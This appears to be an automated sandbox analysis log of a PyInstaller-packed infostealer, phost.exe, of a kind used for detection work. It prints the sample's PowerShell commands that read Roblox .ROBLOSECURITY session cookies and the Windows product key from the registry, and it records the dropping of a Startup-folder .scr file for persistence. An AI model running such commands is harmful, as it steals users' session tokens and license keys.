Source:	Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: phost.exe, 00000001.00000002.2184701934.00007FFE0EB31000.00000040.00000001.01000000.00000010.sdmp

Source: phost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: phost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: phost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: phost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: phost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline"

Source: _ctypes.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x169f0
Source: unicodedata.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x53022
Source: phost.exe	Static PE information: real checksum: 0x781af9 should be: 0x77e839
Source: _bz2.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x170f7
Source: libffi-8.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xa1d1
Source: _ssl.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x150ed
Source: sqlite3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x9f7df
Source: python312.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x1ca53b
Source: libcrypto-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x192b2f
Source: jnxiphgt.dll.78.dr	Static PE information: real checksum: 0x0 should be: 0xdd1a
Source: _queue.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0xcac1
Source: _socket.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x10668
Source: _decimal.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x226ba
Source: _hashlib.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x9cd5
Source: libssl-3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x396d1
Source: select.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x100e6
Source: _lzma.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x23988
Source: _sqlite3.pyd.0.dr	Static PE information: real checksum: 0x0 should be: 0x1149b

Source: libffi-8.dll.0.dr	Static PE information: section name: UPX2
Source: VCRUNTIME140.dll.0.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD990DD2A5 pushad ; iretd	12_2_00007FFD990DD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD991F85FD push ebx; ret	12_2_00007FFD991F860A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD991F860D push ebx; ret	12_2_00007FFD991F860A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFD991F83FC push ebx; ret	12_2_00007FFD991F847A

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Found pyInstaller with non standard icon

Source: C:\Users\user\Desktop\phost.exe

Process created: "C:\Users\user\Desktop\phost.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\Desktop\phost.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\phost.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI32202\python312.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.dll	Jump to dropped file

Source: C:\Users\user\Desktop\phost.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr

Jump to behavior

Source: C:\Users\user\Desktop\phost.exe

File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC776B0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF62CC776B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
